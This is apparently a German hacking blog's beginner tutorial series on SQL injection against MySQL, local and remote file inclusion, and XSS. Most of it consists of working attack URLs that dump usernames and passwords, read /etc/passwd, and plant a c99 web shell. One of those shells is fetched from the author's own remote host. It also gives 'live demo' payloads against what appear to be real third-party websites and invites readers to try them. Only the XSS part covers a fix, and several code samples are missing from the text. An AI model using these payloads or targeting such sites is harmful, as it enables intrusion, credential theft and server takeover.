SQL Injection Tutorial Teil 2

Heyho,

werd mir heute Zeit nehmen fuer den zweiten Teil meiner SQL Injection Tutorial Reihe und hier wird es, wie schonmal angesprochen, vorallem um MySQL v5 gehen.

Vorerst noch nen kleiner Nachtrag zum Tutorial gestern, da es ein paar unklarheiten gab.

Zum Punkt ausgeben, mit concat(username,0x3a,password) lohnt es sich ab Ausgaben von 3 oder mehr Columns, also zum Beispiel noch eMail, die Funktion concat_ws() zu benutzten. Das sieht dann so aus:

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat_ws(0x3a,username,password,email),3/**/FROM/**/users/*

Vorraussetzung ist, dass der Column eMail auch existiert.
Die Ausgabe sieht dann so aus:

Username:Password:eMail

Da es noch was wegen dem “and” gab.

http://www.site.de/news.php?id=5 and 1 = 0

Das and 1 = 0 fragt hier ob 1 = 0 ist. Da 1 != 0 ist, ist das also Falsch (false) und daher sollte wenn etwas vuln ist, auf der Page inhaltlich etwas fehlen oder eben auch nen error erscheinen.

http://www.site.de/news.php?id=5 and 1 = 1

Sollte die Page normal anzeigen, da 1=1 ist, und logisch auch richtig ist. Das “sagt” dann so viel wie “Zeige id=5 wenn 1=1 ist”. Daher sollte hier der Inhalt richtig angezeigt werden.

So nun zum eigentlichen Tutorial, wenn wir nun die Anzahl der Columns mit Order By rausbekommen haben, UNION SELECT 1,version(),3 funktioniert und wir dort Version 5.0.45-community oder 5.x.x rausbekommen, dann haben wir im Normalfall auch Zugriff auf die Datenbank INFORMATION_SCHEMA. Mehr dazu hier: *klick* (die MySQL Documentation kann oft hilfreich sein). Im Normallfall werden dort quasi alle Tabellen/Columns gespeichert, welche sich auf der DB befinden. Dies ist ein extremer Vorteil, den so koennen wir uns alle Datenbanken, Tabellen und Spalten ausgeben lassen. Vorallem gibts fuer v5 auch einige gute Scripts, welche einem die ganzen DB/Tables/Columns rausschreibt.

Ich gebe mir das mit conat_ws aus. Wir wollen uns nun ausgeben: DATENBANK:TABELLE:SPALTE
Das ganze muessen wir so gestalten:

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,table_schema,table_name,column_name),3/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*

Bis ~ 180 kommen tabellen von INFORMATION_SCHEMA welche uninteressant sind, ab ~ Limit 180 werden uns die Daten von anderen DBs ausgegeben, welche dann fuer uns auch interessant sind. Zuerst zum LIMIT, was bewirkt das? Das LIMIT waehlt den Datensabsatz/Reihe aus, welche ausgelesen werden soll. 0,1 bzw 1,1 waere der erste Datensatz, 2,1 waere der zweite usw..

Nun wird uns ausgegeben:

Datenbankname:tabellenname:spaltenname

Wichtig: Ihr muesst beachten, wenn mehrere Datenbanken sich auf dem Server befinden, muessen wir die richtige DB im FROM Statement mit einem Punkt auswaehlen. Das heißt, wenn die DB lol heißt und die Tabelle users dann sieht das so aus:

... FROM lol.users... 

Daher haben wir hier auch INFROMATION_SCHEMA.COLUMNS genommen, da in der Tabelle Columns man DB name, tabellen name und column name auslesen kann, ist manchmal sehr wichtig.

Dann gehen wir das Limit durch, wenn ihr nun irgendwann bei webuser:users:username bei LIMIT 301,1 und bei 302,1 webuser:users:password steht (db name is frei erfunden), dann wissen wir nun “aha die DB heißt webuser, die Tabelle heißt users und die Spalten sind username und password”. Koennt auch noch 303,1 machen usw.. irgendwann erscheint ein error (oder eine weiße seite) und dann wisst ihr, dass ihr am Ende seid und nicht weitere Tabellen mehr existieren. Ist natuerlich totaler stuss das immer eins aufzuzaehlen, ich mach das in 50er schritten. Wie gesagt, Scripts koennen hier helfen, darkc0de hat tolle Python scripts. Ansonsten einfach in Schritten weiter machen, ob ihr irgendeine tabelle mit users oder admins oder aehnliches seht und dann dort eben in 1er schritten weiter.

Wenn wir nun unsere Daten haben, machen wir wie bei Teil 1 weiter:

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*

Aufjedenfall hilft, wie ihr seht, MySQL version 5.x.x um einiges weiter, da wir hier nicht Tabellen Namen irgendwie erraten muessen 😉

Das war nun Teil 2 von meiner Tutorial Reihe, der kuerzeste Teil, da man zu Version 5 nicht viel erzaehlen kann^^

Hier noch schnell zwei Live Demos:
MySQL version 4:

http://www.wochenspiegel-saarland.de/index.php?id=43&doc=-81980/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,unhex(hex(version())),12,13,14,15,16,17,18,19,20,21,22,23/*

MySQL version 5:

http://www.sbcommunicationsgroup.com/media-info.php?id=-1/**/UNION/**/SELECT/**/1,2,3,concat_ws(0x3a,table_schema,table_name,column_name)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*

Aufjedenfall hoffe ich, dass ihr dieses Tutorial mehr oder weniger verstanden habt und es vorallem Neulingen bzw Anfaengern geholfen hat. 🙂

Teil 3 ueber Blind SQL Injections wird denk ich am Freitag folgen, da ich morgen keine Zeit habe.
Kritik/Fehler/Fragen/Vorschlaege wie immer als Comment, danke 🙂

SQL Injection Tutorial Teil 1

Heyhoo,

wie versprochen werde ich nun das vllt von einigen lang erwartete SQL Injection Tutorial schreiben. Ich hatte damals ein recht ausfuehrliches geschrieben, jedoch isses mir irgendwie weg gekommen und ich find es nicht mehr. Nichts desto trotz werde ich euch hier einiges ueber SQL Injections zeigen, jedoch gehe ich mehr darauf ein wie eine SQL Injection funktioniert und wie man dadurch an nuetzliche Informationen kommt. Wichtig, das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder aehnliches sieht das ganze total anders aus. Da MySQL die “populaerste Open Source” Datenbank ist, wird sie daher auch am haeufigsten verwendet.

Was ist eine SQL Injection?

Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:

SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken, die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht. Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle über den Server zu erhalten.

Heißt kurz und knapp, ihr koennt an das Admin PW kommen. 😀

Nun ich werde das Tutorial in 4 Teile aufteilen, der erste Teil wird der laengste und ausfuehrlichste sein.
Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.

Dann fangen wir mal an 😉

0. Vorwort
Es wird oft behauptet, das PHP & MySQL Wissen fuer eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man oefters und schneller Luecken finden. Auch wird man Luecken nachvollziehen koennen; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu machen, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen koennen. Das reicht dann auch fuer ne normale SQL Injection.

1) Nach einer Luecke suchen
Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma dieses ‘ dranhaengen um einen Error auszuloesen, beispiel:

http://www.site.de/news.php?id=5'

Wenn sich an der Seite nun nichts aendert, gut, dann ist sie relativ sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…

Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt jedoch auch einige andere MySQL Error die verwundbarkeit zeigen.

Schauen wir uns das mal genauer in einem Beispiel Source an:

SELECT * FROM news WHERE id = 5'

Hier sieht man das unser Hochkomma das Query stoert.
(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann waere auch keine SQL Injection moeglich)
Aber unser Query koennte auch so aussehen:

SELECT * FROM news WHERE id = '5''

Jedoch auch hier sieht man was stoert. Naemlich unser Hochkomma ‘ welches das Query unterbricht. Nun haben wir eine Luecke gefunden.

Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True pruefen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page veraendert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt aendert, oder ne Fehlermeldung kommt. Seht ihr dann auch.

2) Anzahl der Columns rausfinden
Da wir spaeter den Befehl UNION benutzen wollen (dazu spaeter mehr) brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewaehlt werden, wuerde unser Query aber so aussehen:

SELECT author,datum,text FROM news WHERE id = 5

Dann waere die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da man jedoch im normalfall kein Query sehen sollte, muessen wir das Mithilfe vom SQL Statement Order By testen.
Das sieht dann etwa so aus:

http://www.site.de/news.php?id=5+order+by+1/*

(Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite nun normal angezeigt wird, dann hat die Page mehr als einen Column.
Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhaengen, dies ist Query abhaengig.

Falls noch ein Error kommt, muessen wir unsere Abfrage mit einem anderen Kommentarzeichen aendern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normal immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
Also testen wir Order By weiter bis ein Error erscheint.

http://www.site.de/news.php?id=5+order+by+5/*

<-- aha, Error kommt. Also sind es weniger als 5 columns, oft erscheint ein Error wie z.B.: „Unknown column '5' in 'order clause'“ http://www.site.de/news.php?id=5 +order+by+3/* <-- kein Error http://www.site.de/news.php?id=5 +order+by+4/* <-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam. Nun haben wir die Column Anzahl vom ersten Query. 3) UNION verwenden
Durch UNION koennen wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:

SELECT author,datum,text FROM news WHERE id = 5 UNION SELECT 1,2,3 FROM blub/* 

Auch hier ist das Auskommentieren am Schluss wichtig.

Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, muessen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:

http://www.site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*

Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/ 🙂

So falls ihr nun aufm Bildschirm zahlen seht, die 1,2 oder 3, dann funktioniert unser UNION SELECT Statement sehr haeufig oder eigentlich sogut wie immer muss man die ID erst ungueltig machen, entweder durch ein minus – was ich gerne und oft benutzte oder durch eine hohe Zahl/ID welche nicht existiert.
Sieht dann so aus:

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*

Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies nicht der fall haben wir eine Falsche Column anzahl erwischt oder der Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3 kein UNION existiert, da es das erst seit Version 4 gibt. Das muesste man dann anders machen, kommt bei Teil 3 von meinem Tut genauer drauf zu sprechen.

4) MySQL Version ermitteln

So, wenn wir nun eine 1,2 oder 3 aufm Bildschirm sehen, dann koennen wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0x4A30686E2E583372 und sehen beim Druecken auf Enter auf einmal dort wo die 2 war “J0hn.X3r” stehen 😀
Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir aufm Bildschirm sehen und ersetzen es in der URL mit version().

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*

(Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)
oder eben

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*

(ich benutzt das erstere lieber)

Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.

Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“

Dann muessen wir die Convert Funktion benutzen, in diesem falle dann

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*

oder

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*

Man kann dies aber auch noch mit unhex(hex()) machen. Durch das Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt ich ganz gerne da es einfacher ist.

Bsp.:

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*

Nun wird die Version angezeigt und es erscheint kein Fehler mehr.

5) Table & Column Namen rausfinden
So nun wollen wir uns auch die Tables & Columns ausgeben lassen.

V4 ist bissle doof, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
user/s, admin/s, member/s, login,…
und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.

Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, muessen wir nen zweites simples MySQL Query machen.

...UNION SELECT 1,2,3 FROM tabelle

Das heißt wir wollen schauen ob die Tabelle existiert. “Waehle aus von Tabelle”.

Wie sieht das nun bei uns aus?

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*

Muss man nun eben durch testen.. wenn man die richtige Tabelle gefunden hat, Werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder unsere 2 und suchen nach den columns.. oben stehen die am meisten verwendeten..

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,username,3/**/FROM/**/users/*

In unserem MySQL Query heißt das nun also:

...UNION SELECT 1,username,3 FROM users/*

Waehle Username aus Tabelle “users”.

Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.

Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich. 🙂

Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*

0x3a = hex = (ein Doppelpunkt) :

Nun sehen wir dort:

username:password

Und eine Erfolgreiche SQL Injection.

So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verstaendlich vorallem fuer Anfaenger geworden. Fehler, Kritik, Vorschlaege, Fragen einfach als Kommentar posten 🙂

LFI – Ausnutzen einer LFI Luecke

Heyho,

wie versprochen nun noch ein Teil zum Thema LFI (Local File Inclusion). Ich werd euch hier eine Moeglichkeit zeigen, wie man per LFI eine Shell auf den Server bekommt. Das ganze nach n00bors Video Tutorial, welches am Ende noch gepostet wird.

Bei einer LFI Luecke ist das eigentlich fast genauso wie bei einer RFI nur koennen wir hier keine shell von einer externen Seite direkt includen.

Nehmen wir hierzu wieder einen Beispiel Source, um das ganze anschaulicher zu gestalten. Nehmen wir den aus unserem RFI TuT:

Als lfi.php speichern. Wuerde genauso mit

gehen, aufjedenfall kann man ueber den GET Parameter wieder etwas includen.

Nehmen wir also wieder unsere blub.php

Dann wollen wir mal unsere blub.php includen..

http://localhost/lfi.php?file=blub.php

So nun wird wieder Inhalt unserer blub.php auf der Seite angezeigt das heißt das unsere Datei erfolgreich includet wurde. Normal probiert man nun ob eine RFI moeglich ist, also eine externe Seiten includen, wenn dies nicht moeglich ist, testen wir ob eine LFI moeglich ist.

So wenn wir nun davon ausgehen, dass der Server auf Linux laeuft was ja meistens zutrifft (wer auf Servern Windows benutzt muss schon bissle…) dann gehen wir einfach nen paar Ordner zurueck, beispielsweise soweit:

http://localhost/lfi.php?file=../../../../../../../etc/passwd

Wenn alles gut laeuft, wird euch die etc/passwd angezeigt.
Sieht meistens etwas komisch aus, vllt editiere ich hier noch einen Screenshotbeispiel rein.

Wenn unser Beispiel Script aber etwas anders aussieht, und bei denen das .php automatisch gesetzt wird, etwa so:

In diesem Fall macht man sich die Existenz eines Ascii Zeichens zu nutze, dass einen String als beendet markiert, das Nullbyte, oder in Url enkodierter Form, %00.

(Zitat von Lidloses_Auge, besser haette man es auch nicht sagen koennen :)) Sieht man auf der Seite meistens auch je nach Error ob ein Nullbyte benoetigt wird oder nicht.

Das sieht in unserer Praxis dann so aus:

http://localhost/lfi.php?file=../../../../../../../etc/passwd%00

Und dann wird uns im der Inhalt von der etc/passwd angezeigt. Hier koennten ein paar wichtige PW (servermaessig) drin sein, jedoch gehe ich nun auf was neues ein.

Da nun alle Seitenaufrufe im Apache gespeichert/geloggt werden und durch den Befehl include() es zu einer Ausfuehrung kommen kann, koennen wir dies auch ausnutzen (wenn die Rechte mitspielen).

Fuer uns wird nun jedoch der error.log wichtig sein, da dort, wie man am Namen sieht, saemtliche errors gespeichert werden. Wir werden nach n00bors tutorial vorgehen, da dies nen tolles Beispiel ist, wie man eine LFI Luecke ausnutzen kann. Das ganze laeuft so ab, wir senden einen GET Request ueber Telnet an den Server welcher als Fehler intepretiert wird und in die error.log gespeichert wird.

Dazu nehme ich auch n00bors Code:

GET/

Was passiert hier? Kurz und knapp gesagt, unsere externe Shell wird ausgelesen und Zeile fuer Zeile in der neuen Shell aufm Server gespeichert. Wird quasi 1:1 auf den Server als neue shell kopiert. Was ist der Vorteil dann? Unsere Shell befindet sich auf dem Server und kann aufgerufen werden.

So wir brauchen nun unser CMD Fenster, –> C:\WINDOWS\system32\cmd.exe und geben dort folgende Zeile ein:

telnet localhost 80

localhost dementsprechend mit der IP des Servers editieren. Dann Enter, dann kopieren wir unseren Code rein und druecken auf Enter.

Wenn alles gut geht, muesste im error.log nun unser Code sein.

Nun wollen wir den Code ausfuehren und rufen den error log in unserem Browser auf:

http://localhost/lfi.php?file=../apache/logs/error.log

So wenn nun alles geklappt hat, sollten wir eine Shell auf dem Server haben. Mal nachschauen:

http://localhost/lfi.php?file=shell.php

Und wir sehen eine Shell auf dem Bildschirm.

Bisschen viel Theorie Zeugs ohne Bilder daher hier das Video Tutorial von n00bor:
http://stuff.n00bor.org/Shell_per_LFI/Shell_per_LFI.swf
Und Lidloses_Auge sein Text-Tutorial:
http://free-hack.com/showthread.php?t=17105

War nen Thema bei dem ich mir nicht sicher war, wie ich es euch vermitteln sollte.. Ich hoff trotzdem das ihr davon etwas gelernt habt. 🙂

Zum Schutz vor LFI/RFIs kommt vllt noch nen eigener Blog Eintrag oder irgendwann per Edit noch rein.

Aufjedenfall werd ich morgen mit meinem SQL Injection Tutorial anfangen und das werd ich euch in 4 oder 5 Teilen zeigen, die Aufteilung wird aehnlich wie bei Lidloses_Auge seinen Video Tutorials sein, nur werd ich einiges aufuehrlicher durchnehmen und anhand von Beispielen zeigen. Teil 1 SQL Injections, Teil 2 Was tun wenn MySQL v5, Teil 3 Blind SQL Injections und Teil 4 wird etwas tiefer eingehen. 🙂

RFI – Ausnutzen einer RFI Luecke

Heyho,

konnte die letzten Tage leider nix posten, da ich etwas beschaeftigt war. Wollte ein SQL Injection Tutorial nun machen/posten jedoch will ich mir dafuer viel Zeit nehmen, damit vorallem Leute die neu in dieser Sache sind, es so gut wie moeglich verstehen, daher aufs Wochenende verschoben.

Heut versuch ich euch nen bissle etwas zu einer RFI (Remote File Inclusion) zu erlaeutern, wenn ich ne Live Demo noch finde, umso besser 😉

Etwas ueber eine LFI (Local File Inclusion) wird morgen kommen, da ich heute kopfweh habe und nemme so in guter Laune bin *g*

So RFI, was ist das ueberhaupt und was ist die Gefahr bei so einer Luecke?

Eine RFI Luecke kann ganz einfach entstehen, wenn man gerne auf einer Page etwas includet haben moechte, da sich das so mager anhoert versuch ich das in nem Source Beispiel zu erklaeren. Erstellen wir uns mal eine rfi.php Datei mit etwa diesem Inhalt:

Erinnert vllt bisschen an den Source Code von XSS Luecken, da wieder etwas ueber den GET Parameter uebergeben wird. Diesmal wollen wir den Inhalt einer auf unserem Server befindenden PHP Datei einfuegen.

Dazu erstellen wir eine blub.php Datei mit etwa diesem Inhalt:

Ganz simpler Echo Ausgabe Befehl, wie man sieht. Wenn man nun unsere URL aufruft (ich teste es wie immer auf localhost)

http://localhost/rfi.php

Erscheint unser Error:

Du hast kein File includet

Dann wollen wir uns unsere blub.php includen:

http://localhost/rfi.php?file=jap.php

Wird

Das ist eine includete PHP Datei

ausgegeben. D.h. unsere blub.php datei wurde dort eingefuegt bzw. ausgefuehrt.

Nun da RFI Remote File Inclusion heißt wird hier eine externe page includiert, die nicht auf dem Webspace vorhanden ist, als Beispiel wuerde das dann so aussehen:

http://localhost/rfi.php?file=http://www.google.de

Wenn nun dort auf der Page Google.de angezeigt wird, dann ist eine RFI Luecke vorhanden.

Vorraussetzung fuer eine RFI ist, dass allow_url_fopen, allow_url_include und register_globals on sind.

So nun brauchen wir ne Page mit ner C99.php shell als beispiel und includen diese (diese shell sollte in einem Format gespeichert sein, welches der Server nicht interpretiert sondern nur ausgibt, d.h. z.b. als .txt).

Sieht dann so aus:

http://localhost/rfi.php?file=http://j0hnx3r.org/c99.txt

Und zu sehen ist dann eine includete shell auf die ihr, wenn alles klappt, vollen Zugriff habt 🙂

Wie das ganze bei einer LFI aussieht erzaehl ich euch das naechste mal. Auch Sachen bezueglich Nullbyte werd ich noch ansprechen.

So hier noch schnell ne Live Demo:

http://www.gospelandmore.de//apboard/main.php/add.php?APB_rp=http://j0hnx3r.org/c99.txt??

Da koennt ihr bissle rumtesten *g*

Jow viel Spaß und ich hoff ihr habt vllt was neues gelernt 🙂

Falls ihr nen Fehler oder so findet, einfach in den Comments bescheid sagen, danke 🙂

XSS – Finden und beheben von Luecken

Heyho,

da ich gerade wieder ein bisschen Zeit habe, werde ich euch (natuerlich wieder mit kleinem Source Beispiel) zeigen wie und vorallem wo XSS (Cross-Site Scripting) Luecken sind. Mir ist auch klar das es einige gute XSS Tutorials gibt, aber ich glaub noch kein einzigstes, welches zeigt wie man so eine Luecke “schließt”. Wie man XSS ausnutzt werde ich ein anderes mal zeigen 😉

Jow was ist XSS (Cross-Site Scripting)?
Wie der Name eigentlich schon verraet geht es vorallem um “Scripting” also mit Scripten umgehen, weil bei einer XSS Attacke (gefaehrliche) Scripte ausgefuehrt werden. Damit kann man verschiedene Ziele erreichen, unter anderem ein sehr bekanntes und zwar das “Cookie klauen”. Darauf werd ich aber heute nicht genauer eingehen, sondern XSS –> Fremde Scripte werden ausgefuehrt!

Wie kann es passieren, dass eine Ausgabe zu einer gefaehrlichen XSS Luecke wird?
Ganz einfach, ein Coder moechte gerne eine Suchfunktion erstellen. Dort soll ausgegeben werden “Ihre Suche nach _das_Wort_ ergab X Treffer”. Leicht kann es passieren das der Coder die Ausgabe vom User nicht filtert, d.h. dass alle Usereingaben wieder ausgegeben wird. Ein gefaehrlicher Fehler.

Schauen wir uns das mal an einem Source Beispiel an:


XSS Tutorial



Als xss.php speichern und irgendwo mal hochladen oder local ausfuehren.

So was passiert bei dieser Datei. Die Datei gibt das aus, was in der URL ueber den GET Parameter “text” eingegeben wird.

Also rufen wir sie mal auf 🙂

http://localhost/xss.php?text=Hallo Welt

Wenn wir nun auf Enter klicken/druecken, wird uns auf der Seite “Hallo Welt” angezeigt. Koennt auch jeden beliebigen Text benutzen.

Nun testen wir mal ob man auch Script ausfuehren kann, ganz einfach mit:

in eure URL eingeben:

http://localhost/xss.php?text=

Je nach dem wie lustig ihr drauf seid und wenn magic_quotes (dieses ding mit dem backslashen von ‘ und “) aus sind, koennen wir auch

benutzen 🙂 Oder nen beliebigen anderen Text.

Manchmal kommt es auch vor, dass ein html tag erstmal unterbrochen werden muss. Dann muessen wir es mal mit

">

probieren 😉

Merkt man je nach Erfahrung dann auch von selber.

Um magic_quotes zu umgehen kann man auch String.fromChar() benutzen, ein XSS Befehl wuerde dann so aussehen:

Jedoch wird man das nicht so oft als Anfaenger brauchen, denk ich..

Aufjedenfall ist bei unserem ersten Beispiel nun ein Popup gekommen mit dem Inhalt von 1337 – Da der Alert() Befehl auch 1337 (beim zweiten wars “Hii my name is… ANGERFIIIST!” und beim 3ten “XSS”) beinhaltet hatte. Also wurde unser Script ausgefuehrt was nun bedeutet, dass dort eine XSS Luecke vorhanden ist.

Gefaehrlich wenn sowas passiert. Wie fixx ich nun unseren Bug?

Die Funktion htmlspecialchars() ist hierbei sehr nuetzlich und effektiv (mehr Infos dazu: http://de.php.net/htmlspecialchars), da es Sonderzeichen in HTML – Codes umwandelt. Wie wendet man sie an? Nehmen wir nochmal unser Source Code Beispiel und fuegen dort htmlspecialchars() ein:


XSS Tutorial



So wenn wir nun wieder

oder anderes eingeben, wird uns das ausgegeben:

Das Script wurde NICHT ausgefuehrt, doof gelaufen fuer den Angreifer 😀 Man kann dort nun so viel rummachen wie man will, die XSS Luecke ist gefixxt, dank htmlspecialchars.

So nun noch eine kleine Live Demo, gibt einige Google Dorks. Ich benutz meistens “ihre suche nach ergab treffer”

Live Demo:

http://www.pyroweb.de/ShopArtikel.php?SearchQuery=

So das war das zweite Tutorial meiner Großen Tutorial Reihe, ich hoff vorallem Anfaenger haben hierdurch einiges gelernt.

Beim naechsten Tutorial werd ich euch entweder zeigen wie ne SQL Injection funktioniert, oder noch schnell auf RFI/LFIs eingehen. 🙂